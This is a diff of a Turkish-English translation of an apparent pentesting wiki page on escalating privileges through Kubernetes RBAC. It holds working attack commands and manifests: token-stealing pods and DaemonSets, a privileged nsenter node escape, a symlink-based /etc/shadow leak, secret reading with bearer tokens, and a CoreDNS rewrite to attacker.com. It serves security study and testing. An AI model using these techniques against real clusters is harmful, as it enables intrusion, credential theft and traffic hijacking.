diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 4c41eb6da..d3c5fc01e 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -1,23 +1,23 @@ -# Kubernetes'te Roller/ClusterRoller'ın Suistimali +# Abusing Roles/ClusterRoles in Kubernetes {{#include ../../../banners/hacktricks-training.md}} -Burada bazı potansiyel olarak tehlikeli Roller ve ClusterRoller yapılandırmalarını bulabilirsiniz.\ -Unutmayın ki `kubectl api-resources` ile tüm desteklenen kaynakları alabilirsiniz. +Burada bazı potansiyel olarak tehlikeli Roles ve ClusterRoles yapılandırmalarını bulabilirsiniz.\ +Unutmayın ki tüm desteklenen kaynakları `kubectl api-resources` ile alabilirsiniz -## **Ayrıcalık Yükseltme** +## **Privilege Escalation** -Küme içinde **farklı ayrıcalıklara** sahip **farklı bir prensibe erişim sağlama sanatı** olarak tanımlanır (kubernetes kümesi içinde veya dış bulutlara), Kubernetes'te temelde **ayrıcalıkları yükseltmek için 4 ana teknik** vardır: +Cluster içinde veya dış bulutlara karşı sahip olduğunuzdan farklı ayrıcalıklara sahip başka bir principal'a erişim elde etme sanatı olarak tanımlanan Privilege Escalation, Kubernetes'te temel olarak ayrıcalıkları yükseltmek için **4 ana teknik** vardır: -- Kubernetes kümesi içinde veya dış bulutlara daha iyi ayrıcalıklara sahip diğer kullanıcı/grupları/SAs **taklit edebilme** -- Kubernetes kümesi içinde veya dış bulutlara daha iyi ayrıcalıklara sahip SAs **bulmak veya eklemek için podlar oluşturma/yamanlama/çalıştırma** -- SAs token'larının gizli olarak saklandığı için **gizli bilgileri okuma** -- Bir konteynerden **düğüme kaçabilme**, burada düğümde çalışan konteynerlerin tüm gizli bilgilerini, düğümün kimlik bilgilerini ve çalıştığı bulut içindeki düğümün izinlerini çalabilirsiniz (varsa) -- Anılması gereken beşinci bir teknik, bir podda **port-forward çalıştırma** yeteneğidir; bu sayede o pod içinde ilginç kaynaklara erişim sağlayabilirsiniz. +- Kubernetes cluster içinde veya dış bulutlara karşı daha yüksek ayrıcalıklara sahip diğer user/groups/SAs'ları **impersonate** edebilmek +- **create/patch/exec pods** yapabilmek; böylece bu pod'larda daha yüksek ayrıcalıklı SAs'ları bulabilir veya attach edebilirsiniz +- SAs token'ları secret olarak saklandığı için **read secrets** yapabilmek +- Bir container'dan **escape to the node** yapıp, node üzerinde çalışan container'ların tüm secret'larını, node'un kimlik bilgilerini ve node'un çalıştığı cloud içindeki izinleri (varsa) çalabilmek +- Bahsedilmeye değer beşinci bir teknik ise bir pod içinde **run port-forward** yapabilme yeteneğidir; bu sayede o pod içindeki ilginç kaynaklara erişebilirsiniz. -### Herhangi Bir Kaynağa veya Fiile Erişim (Wildcard) +### Access Any Resource or Verb (Wildcard) -**Wildcard (\*) herhangi bir kaynak üzerinde herhangi bir fiil için izin verir**. Yöneticiler tarafından kullanılır. Bir ClusterRole içinde bu, bir saldırganın kümedeki herhangi bir namespace'i kötüye kullanabileceği anlamına gelir. +The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse anynamespace in the cluster ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -29,13 +29,13 @@ rules: resources: ["*"] verbs: ["*"] ``` -### Belirli bir fiil ile Herhangi bir Kaynağa Erişim +### Belirli bir verb ile herhangi bir kaynağa erişim -RBAC'de, belirli izinler önemli riskler taşır: +RBAC'te, bazı izinler önemli riskler oluşturur: -1. **`create`:** Herhangi bir küme kaynağı oluşturma yetkisi verir, ayrıcalık yükselmesi riski taşır. -2. **`list`:** Tüm kaynakları listeleme izni verir, hassas verilerin sızdırılma olasılığını artırır. -3. **`get`:** Hizmet hesaplarından gizli bilgilere erişim izni verir, güvenlik tehdidi oluşturur. +1. **`create`:** Herhangi bir cluster kaynağı oluşturma yetkisi verir; bu, privilege escalation riski doğurur. +2. **`list`:** Tüm kaynakları listelemeye izin verir, potentially leaking sensitive data. +3. **`get`:** service accounts üzerinden secrets erişimine izin verir, güvenlik tehdidi oluşturur. ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -47,11 +47,11 @@ rules: resources: ["*"] verbs: ["create", "list", "get"] ``` -### Pod Oluştur - Token Çal +### Pod Create - Steal Token -Bir pod oluşturma izinlerine sahip bir saldırgan, pod'a ayrıcalıklı bir Hizmet Hesabı ekleyebilir ve Hizmet Hesabı'nı taklit etmek için token'ı çalabilir. Böylece, ayrıcalıkları etkili bir şekilde artırmış olur. +Bir pod oluşturma iznine sahip bir saldırgan, ayrıcalıklı bir Service Account'u pod'a bağlayıp token'ı çalarak o Service Account'u taklit edebilir. Böylece bu hesabın ayrıcalıkları etkili şekilde yükseltilir. -`bootstrap-signer` hizmet hesabının token'ını çalacak ve bunu saldırgana gönderecek bir pod örneği: +`bootstrap-signer` service account'ın token'ını çalıp saldırgana gönderecek bir pod örneği: ```yaml apiVersion: v1 kind: Pod @@ -72,14 +72,14 @@ serviceAccountName: bootstrap-signer automountServiceAccountToken: true hostNetwork: true ``` -### Pod Oluşturma & Kaçış +### Pod Create & Escape -Aşağıdakiler, bir konteynerin sahip olabileceği tüm ayrıcalıkları gösterir: +Aşağıdakiler bir konteynerin sahip olabileceği tüm ayrıcalıkları gösterir: -- **Ayrıcalıklı erişim** (korumaları devre dışı bırakma ve yetenekleri ayarlama) -- **hostIPC ve hostPid ad alanlarını devre dışı bırakma** bu, ayrıcalıkları artırmaya yardımcı olabilir -- **hostNetwork** ad alanını devre dışı bırakma, düğümlerin bulut ayrıcalıklarını çalma ve ağlara daha iyi erişim sağlama -- **Konteyner içinde / ana bilgisayarları bağlama** +- **Privileged access** (korumaları devre dışı bırakma ve yetenekleri ayarlama) +- **Disable namespaces hostIPC and hostPid** bu, ayrıcalık yükseltmesine yardımcı olabilir +- **Disable hostNetwork** namespace, node'ların cloud ayrıcalıklarını çalma ve ağlara daha iyi erişim sağlama imkânı verir +- **Mount hosts / inside the container** ```yaml:super_privs.yaml apiVersion: v1 kind: Pod @@ -115,43 +115,45 @@ volumes: hostPath: path: / ``` -Pod'u oluşturun: +Pod'u şu şekilde oluşturun: ```bash kubectl --token $token create -f mount_root.yaml ``` -Tek satırlık [bu tweet](https://twitter.com/mauilion/status/1129468485480751104) ve bazı eklemelerle: +One-liner [this tweet](https://twitter.com/mauilion/status/1129468485480751104)'den alınmış ve bazı eklemelerle: ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` -#### Gizlilik +Now that you can escape to the node check post-exploitation techniques in: -Muhtemelen daha **gizli** olmak istiyorsunuz, aşağıdaki sayfalarda, önceki şablonda belirtilen bazı ayrıcalıkları etkinleştirerek bir pod oluşturursanız neleri erişebileceğinizi görebilirsiniz: +#### Stealth -- **Ayrıcalıklı + hostPID** -- **Sadece ayrıcalıklı** +You probably want to **stealthier**, in the following pages you can see what you would be able to access if you create a pod only enabling some of the mentioned privileges in the previous template: + +- **Privileged + hostPID** +- **Privileged only** - **hostPath** - **hostPID** - **hostNetwork** - **hostIPC** -_Önceki ayrıcalıklı pod yapılandırmalarını nasıl oluşturacağınız/istismar edeceğinizle ilgili örnekleri_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) adresinde bulabilirsiniz. +_You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) -### Pod Oluştur - Buluta Geç +### Pod Create - Move to cloud -Eğer bir **pod** (ve isteğe bağlı olarak bir **hizmet hesabı**) **oluşturabiliyorsanız**, bir pod veya hizmet hesabına **bulut rolleri atayarak bulut ortamında ayrıcalık elde etme** şansınız olabilir ve ardından buna erişebilirsiniz.\ -Ayrıca, eğer **host network namespace** ile bir **pod** oluşturabiliyorsanız, **node** örneğinin IAM rolünü **çalıştırabilirsiniz**. +Eğer bir **pod** oluşturabiliyorsanız (ve isteğe bağlı olarak bir **service account**) bir pod'a veya bir service account'a cloud rollerini atayarak ve sonra ona erişerek **cloud environment** içinde ayrıcalıklar elde edebilirsiniz.\ +Ayrıca, eğer **host network namespace**'ine sahip bir **pod** oluşturabiliyorsanız **node** instance'ın **IAM** rolünü çalabilirsiniz. -Daha fazla bilgi için kontrol edin: +For more information check: {{#ref}} pod-escape-privileges.md {{#endref}} -### **Deployment, Daemonset, Statefulset, Replicationcontroller, Replicaset, Job ve Cronjob Oluştur/Düzelt** +### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** -Bu izinleri istismar ederek **yeni bir pod oluşturmak** ve önceki örnekte olduğu gibi ayrıcalıklar elde etmek mümkündür. +Bu izinleri kötüye kullanarak yeni bir **pod** **create** edebilir ve önceki örnekte olduğu gibi ayrıcalıkları yükseltebilirsiniz. -Aşağıdaki yaml **bir daemonset oluşturur ve pod içindeki SA'nın tokenini dışarı aktarır:** +The following yaml **creates a daemonset and exfiltrates the token of the SA** inside the pod: ```yaml apiVersion: apps/v1 kind: DaemonSet @@ -189,32 +191,32 @@ path: / ``` ### **Pods Exec** -**`pods/exec`** kubernetes'te **bir pod içinde bir shell'de komut çalıştırmak için kullanılan bir kaynaktır**. Bu, **konteynerler içinde komut çalıştırmaya veya bir shell'e girmeye** olanak tanır. +**`pods/exec`** kubernetes içinde bir kaynaktır; bir pod'un içindeki shell'de **komut çalıştırmak için kullanılır**. Bu, **container'ların içinde komut çalıştırmaya veya içinde bir shell elde etmeye** olanak tanır. -Bu nedenle, **bir pod'a girip SA'nın token'ını çalmak** veya ayrıcalıklı bir pod'a girmek, düğüme kaçmak ve düğümdeki tüm pod'ların token'larını çalmak ve (kötüye) kullanmak mümkündür: +Bu nedenle, **bir pod'a girip SA token'ını çalmak** veya ayrıcalıklı bir pod'a girip node'a kaçmak, node'daki pod'ların tüm token'larını çalmak ve node'u (ab)use etmek mümkündür: ```bash kubectl exec -it -n -- sh ``` > [!NOTE] -> Varsayılan olarak, komut pod'un ilk konteynerinde çalıştırılır. `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` ile **bir konteynerdeki tüm pod'ları** alın ve ardından `kubectl exec -it -c -- sh` ile çalıştırmak istediğiniz **konteyneri** belirtin. +> Varsayılan olarak komut pod'un ilk container'ında çalıştırılır. Bir pod'daki tüm container'ları almak için `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` kullanın ve ardından çalıştırmak istediğiniz container'ı belirtmek için `kubectl exec -it -c -- sh` kullanın -Eğer bir distroless konteyner ise, konteynerlerin bilgilerini almak veya kendi araçlarınızı yüklemek için **shell builtins** kullanmayı deneyebilirsiniz, örneğin: **`kubectl cp :`** ile **busybox** yükleyerek. +If it's a distroless container you could try using **shell builtins** to get info of the containers or uplading your own tools like a **busybox** using: **`kubectl cp :`**. ### port-forward -Bu izin, **bir yerel portu belirtilen pod'daki bir porta yönlendirmeye** olanak tanır. Bu, bir pod içinde çalışan uygulamaları kolayca hata ayıklamak için tasarlanmıştır, ancak bir saldırgan bunu, bir pod içindeki ilginç (DB'ler gibi) veya savunmasız uygulamalara (webler?) erişim elde etmek için kötüye kullanabilir: +This permission allows to **bir yerel portu belirtilen pod içindeki bir porta yönlendirmeyi**. Bu, pod içinde çalışan uygulamaları kolayca debug etmek için tasarlanmıştır; ancak bir saldırgan bunu pod içindeki ilginç (ör. DBs) veya zayıf uygulamalara (web uygulamaları?) erişim sağlamak için kötüye kullanabilir: ```bash kubectl port-forward pod/mypod 5000:5000 ``` -### Hosts Writable /var/log/ Kaçışı +### Hosts Writable /var/log/ Escape -As [**bu araştırmada belirtilmiştir**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), eğer **hosts `/var/log/` dizini montelenmiş** bir pod'a erişebilir veya oluşturabilirseniz, **konteynerden kaçabilirsiniz**.\ -Bu, temelde **Kube-API bir konteynerin loglarını almaya çalıştığında** ( `kubectl logs ` kullanarak) pod'un **`0.log`** dosyasını **Kubelet** servisinin `/logs/` uç noktası aracılığıyla talep etmesindendir.\ -Kubelet servisi, temelde **konteynerin `/var/log` dosya sistemini açan** `/logs/` uç noktasını sunar. +Bu [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) gösterildiği gibi, eğer **hosts `/var/log/` directory mounted** edilmiş bir pod'a erişebiliyor veya böyle bir pod oluşturabiliyorsanız, **escape from the container** yapabilirsiniz.\ +Bu durum temelde şu nedenle olur: **Kube-API** bir container'ın loglarını almaya çalıştığında ( `kubectl logs ` kullanarak), **pod'un `0.log`** dosyasını **Kubelet** servisinin `/logs/` endpoint'i üzerinden ister.\ +Kubelet servisi `/logs/` endpoint'ini açar; bu da temelde container'ın `/var/log` dosya sistemini **exposing** eder. -Bu nedenle, konteynerin **/var/log/ klasöründe yazma erişimi olan** bir saldırgan bu davranışları 2 şekilde kötüye kullanabilir: +Bu nedenle, container'ın **/var/log/ klasörüne yazma erişimi (access to write in the /var/log/ folder)** olan bir saldırgan bu davranışı iki şekilde kötüye kullanabilir: -- Konteynerinin `0.log` dosyasını (genellikle `/var/logs/pods/namespace_pod_uid/container/0.log` konumunda bulunur) örneğin **`/etc/shadow`'a işaret eden bir symlink** olacak şekilde değiştirmek. Ardından, hosts shadow dosyasını dışarıya sızdırabilirsiniz: +- Container'ın `0.log` dosyasını (genellikle `/var/logs/pods/namespace_pod_uid/container/0.log` içinde) örneğin **symlink pointing to `/etc/shadow`** olacak şekilde değiştirmek. Böylece hosts'un shadow dosyasını şu şekilde exfiltrate edebilirsiniz: ```bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" @@ -222,7 +224,7 @@ kubectl logs escaper --tail=2 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n" # Keep incrementing tail to exfiltrate the whole file ``` -- Eğer saldırgan, **`nodes/log`'u okuma izinlerine sahip** herhangi bir yetkiliyi kontrol ediyorsa, `/host-mounted/var/log/sym` içinde `/`'ye bir **symlink** oluşturabilir ve **`https://:10250/logs/sym/` adresine eriştiğinde, ana bilgisayarın kök** dosya sistemini listeleyebilir (symlink'i değiştirmek dosyalara erişim sağlayabilir). +- Eğer saldırgan, herhangi bir principal üzerinde **`nodes/log`'u okuma izinlerine (permissions to read `nodes/log`)** sahipse, `/host-mounted/var/log/sym` içinde `/`'e bir **symlink** oluşturabilir ve **`https://:10250/logs/sym/` adresine eriştiğinde host'un kök dosya sistemini listeler** (symlink'i değiştirmek dosyalara erişim sağlayabilir). ```bash curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/' bin @@ -234,23 +236,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// lib [...] ``` -**Bir laboratuvar ve otomatik istismar** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) adresinde bulunabilir. +**Bir laboratuvar ve otomatik exploit şurada bulunabilir** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) -#### readOnly korumasını aşma +#### readOnly korumasını atlatma -Eğer şanslıysanız ve yüksek ayrıcalıklı `CAP_SYS_ADMIN` yeteneği mevcutsa, klasörü rw olarak yeniden monte edebilirsiniz: +Eğer yeterince şanslıysanız ve yüksek ayrıcalıklı capability `CAP_SYS_ADMIN` mevcutsa, klasörü sadece rw olarak yeniden mount edebilirsiniz: ```bash mount -o rw,remount /hostlogs/ ``` -#### hostPath readOnly korumasını aşma +#### Bypassing hostPath readOnly protection -[**bu araştırmada**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) belirtildiği gibi, korumayı aşmak mümkündür: +[**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)'te belirtildiği gibi koruma atlatılabilir: ```yaml allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -Kaçışları önlemek için, önceki örneklerde olduğu gibi bir hostPath montajı yerine, yazılabilir erişim ile bir ana bilgisayarın klasörünü konteynere monte etmek için bir PersistentVolume ve PersistentVolumeClaim kullanmak amaçlanmıştır: +Bu, önceki kaçışlara benzerlerini önlemek için, hostPath mount kullanmak yerine bir PersistentVolume ve PersistentVolumeClaim kullanarak container içinde hosts klasörünü yazılabilir erişimle mount etmek amaçlanmıştı: ```yaml apiVersion: v1 kind: PersistentVolume @@ -296,16 +298,16 @@ volumeMounts: - mountPath: "/hostlogs" name: task-pv-storage-vol ``` -### **Ayrıcalıklı hesapları taklit etme** +### **Ayrıcalıklı hesapların taklit edilmesi** -Bir [**kullanıcı taklit etme**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) ayrıcalığı ile, bir saldırgan ayrıcalıklı bir hesabı taklit edebilir. +Bir [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) ayrıcalığı ile, bir saldırgan ayrıcalıklı bir hesabın kimliğine bürünebilir. -Bir kullanıcıyı taklit etmek için `kubectl` komutunda `--as=` parametresini veya bir grubu taklit etmek için `--as-group=` parametresini kullanın: +Bir kullanıcıyı taklit etmek için `kubectl` komutunda `--as=` parametresini, bir grubu taklit etmek için ise `--as-group=` parametresini kullanın: ```bash kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters ``` -Ya da REST API'sini kullanın: +Veya REST API'yi kullan: ```bash curl -k -v -XGET -H "Authorization: Bearer " \ -H "Impersonate-Group: system:masters"\ @@ -313,15 +315,16 @@ curl -k -v -XGET -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Gizli Anahtarları Listeleme +### Secrets Listeleme -**Gizli anahtarları listeleme izni, bir saldırganın gizli anahtarları gerçekten okumasına izin verebilir** REST API uç noktasına erişerek: +**list secrets izni, bir saldırganın REST API endpoint'ine erişerek secrets'ları gerçekten okumasına izin verebilir:** ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Gizli Anahtarlar Oluşturma ve Okuma +### Secret'leri Oluşturma ve Okuma -**kubernetes.io/service-account-token** türünde özel bir Kubernetes gizli anahtarı, serviceaccount token'larını saklar. Eğer gizli anahtarlar oluşturma ve okuma izinleriniz varsa ve ayrıca serviceaccount'un adını biliyorsanız, aşağıdaki gibi bir gizli anahtar oluşturabilir ve ardından kurban serviceaccount'un token'ını ondan çalabilirsiniz: +Kubernetes secret'larının özel bir türü olan ve serviceaccount token'larını saklayan **kubernetes.io/service-account-token** tipinde bir secret vardır. +Eğer secret oluşturma ve okuma izinlerine sahipseniz ve serviceaccount'un adını da biliyorsanız, aşağıdaki gibi bir secret oluşturup hedef serviceaccount'un token'ını ondan çalabilirsiniz: ```yaml apiVersion: v1 kind: Secret @@ -332,7 +335,7 @@ annotations: kubernetes.io/service-account.name: cluster-admin-sa type: kubernetes.io/service-account-token ``` -Örnek istismar: +Örnek exploitation: ```bash $ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa) @@ -380,17 +383,17 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso "type": "kubernetes.io/service-account-token" } ``` -Not edin ki, belirli bir ad alanında gizli anahtarlar oluşturma ve okuma izniniz varsa, kurban hizmet hesabı da aynı ad alanında olmalıdır. +Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace. -### Gizli bir anahtarı okuma – token kimliklerini brute-force ile kırma +### Bir secret'ı okuma – brute-forcing token IDs -Okuma izinlerine sahip bir token'a sahip bir saldırganın, onu kullanmak için gizli anahtarın tam adını bilmesi gerekir; ancak daha geniş _**gizli anahtarları listeleme**_ ayrıcalığına kıyasla, hala zayıflıklar vardır. Sistem içindeki varsayılan hizmet hesapları sıralanabilir ve her biri bir gizli anahtarla ilişkilidir. Bu gizli anahtarların bir ad yapısı vardır: belirli bir ön ekin ardından rastgele beş karakterli alfanümerik bir token (belirli karakterler hariç) gelir; bu, [kaynak koduna](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83) göre belirlenmiştir. +Okuma izinlerine sahip bir token'a sahip bir attacker, bunu kullanmak için secret'ın tam adına ihtiyaç duyar; daha geniş _**listing secrets**_ ayrıcalığının aksine yine de zayıflıklar mevcuttur. Sistemdeki default service accounts enumerate edilebilir; her birinin bir secret'ı vardır. Bu secret'ların isim yapısı şu şekildedir: statik bir önekin ardından rastgele beş karakterlik alfanümerik bir token (bazı karakterler hariç) gelir; detaylar için [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). -Token, tam alfanümerik aralık yerine sınırlı bir 27 karakter setinden (`bcdfghjklmnpqrstvwxz2456789`) üretilir. Bu sınırlama, toplam olası kombinasyonları 14,348,907 (27^5) ile sınırlar. Sonuç olarak, bir saldırgan, hassas hizmet hesaplarına erişim sağlayarak ayrıcalık yükseltmeye yol açabilecek bir brute-force saldırısını birkaç saat içinde gerçekleştirebilir. +Token, tam alfanümerik aralık yerine sınırlı 27 karakterlik bir kümeden (`bcdfghjklmnpqrstvwxz2456789`) üretilir. Bu sınırlama toplam olası kombinasyon sayısını 14,348,907 (27^5) ile sınırlar. Sonuç olarak, bir attacker birkaç saat içinde token'ı brute-force ile tespit edebilir; bu da hassas service account'lara erişerek privilege escalation ile sonuçlanabilir. -### EncrpytionConfiguration düz metin olarak +### EncrpytionConfiguration düz metin halinde -Bu tür bir nesnede verileri dinlenirken şifrelemek için düz metin anahtarları bulmak mümkündür: +Bu tür bir objede, at-rest veriyi şifrelemek için kullanılan düz metin anahtarları bulmak mümkündür, örneğin: ```yaml # From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/ @@ -447,13 +450,13 @@ keys: - name: key3 secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw== ``` -### Sertifika İmzalama Talepleri +### Sertifika İmzalama İstekleri -Eğer `certificatesigningrequests` kaynağında (veya en azından `certificatesigningrequests/nodeClient` içinde) **`create`** fiiliniz varsa, yeni bir **node** için yeni bir CeSR **oluşturabilirsiniz.** +Eğer `certificatesigningrequests` kaynağında (veya en azından `certificatesigningrequests/nodeClient` içinde) **`create`** yetkisine sahipseniz, yeni bir node için yeni bir CeSR oluşturabilirsiniz. -[Belgelerde bu taleplerin otomatik onaylanmasının mümkün olduğu belirtiliyor](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), bu durumda **ek izinlere ihtiyacınız yoktur.** Aksi takdirde, talebi onaylayabilmeniz gerekir, bu da `certificatesigningrequests/approval` üzerinde güncelleme ve `signers` içinde `approve` ile `resourceName` `/` veya `/*` anlamına gelir. +According to the [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), bu durumda **ekstra izinlere ihtiyacınız yok**. Değilse, isteği onaylayabilmeniz gerekir; bu da `certificatesigningrequests/approval` üzerinde update ve `signers` içinde `approve` ile (resourceName `/` veya `/*`) izinlere sahip olmanız anlamına gelir. -Gerekli tüm izinlere sahip bir **rol örneği**: +Gerekli tüm izinlere sahip bir **rol örneği** şudur: ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -484,19 +487,19 @@ resourceNames: verbs: - approve ``` -Yeni node CSR onaylandığında, node'ların özel izinlerini **istismar** ederek **gizli bilgileri çalabilir** ve **yetki yükseltebilirsiniz**. +Yani, yeni node CSR onaylandıktan sonra node'ların özel izinlerini **abuse** ederek **steal secrets** ve **escalate privileges** elde edebilirsiniz. -[**Bu yazıda**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) ve [**şu yazıda**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) GKE K8s TLS Bootstrap yapılandırması **otomatik imzalama** ile yapılandırılmıştır ve bu, yeni bir K8s Node'un kimlik bilgilerini oluşturmak için istismar edilmekte ve ardından bu kimlik bilgileri kullanılarak gizli bilgileri çalarak yetki yükseltilmektedir.\ -Eğer **bahsedilen yetkilere sahipseniz, aynı şeyi yapabilirsiniz**. İlk örneğin, yeni bir node'un konteynerler içindeki gizli bilgilere erişimini engelleyen hatayı aştığını unutmayın çünkü **bir node yalnızca üzerine monte edilmiş konteynerlerin gizli bilgilerine erişebilir.** +In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) GKE K8s TLS Bootstrap yapılandırması **automatic signing** ile ayarlanmış ve bu, yeni bir K8s Node için kimlik bilgileri oluşturmak ve sonra bunları **abuse** ederek **steal secrets** ile **escalate privileges** gerçekleştirmek için kullanılıyor.\ +Eğer **bahsedilen ayrıcalıklara sahipseniz aynı şeyi yapabilirsiniz**. İlk örneğin, yeni bir node'un konteyner içindeki secrets erişimini engelleyen hatayı baypas ettiğini unutmayın, çünkü bir **node can only access the secrets of containers mounted on it.** -Bunu aşmanın yolu, **ilginç gizli bilgilerin monte edildiği konteynerin bulunduğu node adı için bir node kimlik bilgisi oluşturmak**tır (ama bunu nasıl yapacağınızı ilk yazıda kontrol edin): +Bunu baypas etme yolu, ilginç secrets içeren konteynerin monte edildiği node adına yönelik olarak **create a node credentials for the node name where the container with the interesting secrets is mounted** oluşturmaktır (ancak nasıl yapılacağını ilk yazıda kontrol edin): ```bash "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1" ``` ### AWS EKS aws-auth configmaps -EKS (AWS'de olmanız gerekir) kümelerinde kube-system ad alanındaki **`configmaps`**'leri değiştirebilen ilkeler, **aws-auth** configmap'ini geçersiz kılarak küme yönetici ayrıcalıkları elde edebilir.\ -Gerekli fiiller **`update`** ve **`patch`**'tir, veya configmap oluşturulmadıysa **`create`**'dir: +EKS (AWS içinde olması gerekir) cluster'larında kube-system namespace içindeki **`configmaps`**'leri değiştirebilen principal'lar, **aws-auth** configmap'ini üzerine yazarak cluster admin ayrıcalıkları elde edebilirler.\ +Gereken verbs: **`update`** ve **`patch`**, veya configmap oluşturulmadıysa **`create`**: ```bash # Check if config map exists get configmap aws-auth -n kube-system -o yaml @@ -536,18 +539,18 @@ groups: - system:masters ``` > [!WARNING] -> **`aws-auth`**'ı **kalıcılık** için **diğer hesaplardan** kullanıcı erişimi vermek amacıyla kullanabilirsiniz. +> Diğer hesaplardaki kullanıcılara erişim vermek için **`aws-auth`**'ı **persistence** amacıyla kullanabilirsiniz. > -> Ancak, `aws --profile other_account eks update-kubeconfig --name ` **farklı bir hesaptan çalışmaz**. Ama aslında `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` çalışır, eğer sadece ismin yerine kümenin ARN'sini koyarsanız.\ -> `kubectl`'in çalışması için, sadece **kurbanın kubeconfig**'ini **yapılandırdığınızdan** emin olun ve aws exec argümanlarına `--profile other_account_role` ekleyin, böylece kubectl token almak ve AWS ile iletişim kurmak için diğer hesabın profilini kullanacaktır. +> Ancak, `aws --profile other_account eks update-kubeconfig --name ` **başka bir hesaptan çalışmaz**. Fakat aslında `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` cluster'ın sadece adı yerine ARN'sini koyarsanız çalışır.\ +> `kubectl`'in çalışması için, sadece **yapılandırdığınızdan** emin olun **hedefin kubeconfig'ini** ve aws exec argümanlarına `--profile other_account_role` ekleyin; böylece kubectl token almak ve AWS ile iletişim kurmak için diğer hesabın profilini kullanacaktır. ### CoreDNS config map -Eğer `kube-system` ad alanındaki **`coredns` configmap**'ini değiştirme izinleriniz varsa, adreslerin hangi alanlara çözümleneceğini değiştirerek **hassas bilgileri çalmak veya kötü niyetli içerik enjekte etmek** için MitM saldırıları gerçekleştirebilirsiniz. +Eğer `kube-system` namespace'indeki **`coredns` configmap**'i değiştirme izinleriniz varsa, DNS'in çözeceği adresleri değiştirerek MitM saldırıları gerçekleştirip **hassas bilgileri çalabilir veya kötü amaçlı içerik enjekte edebilirsiniz**. -Gerekli fiiller **`update`** ve **`patch`**'dir, **`coredns`** configmap'i (veya tüm config map'ler) üzerinde. +Gerekli eylemler **`update`** ve **`patch`**'tir; hedef **`coredns`** configmap (veya tüm config mapler) üzerindedir. -Normal bir **coredns dosyası** şunları içerir: +Normal bir **coredns dosyası** şöyle bir şeye benzer: ```yaml data: Corefile: | @@ -577,57 +580,74 @@ reload loadbalance } ``` -Bir saldırgan, `kubectl get configmap coredns -n kube-system -o yaml` komutunu çalıştırarak bunu indirebilir, `rewrite name victim.com attacker.com` gibi bir şey ekleyerek değiştirebilir, böylece `victim.com` erişildiğinde aslında erişilecek alan adı `attacker.com` olacaktır. Ardından, `kubectl apply -f poison_dns.yaml` komutunu çalıştırarak bunu uygulayabilir. +Bir attacker bunu indirip `kubectl get configmap coredns -n kube-system -o yaml` çalıştırarak alabilir, içine `rewrite name victim.com attacker.com` gibi bir şey ekleyip `victim.com` 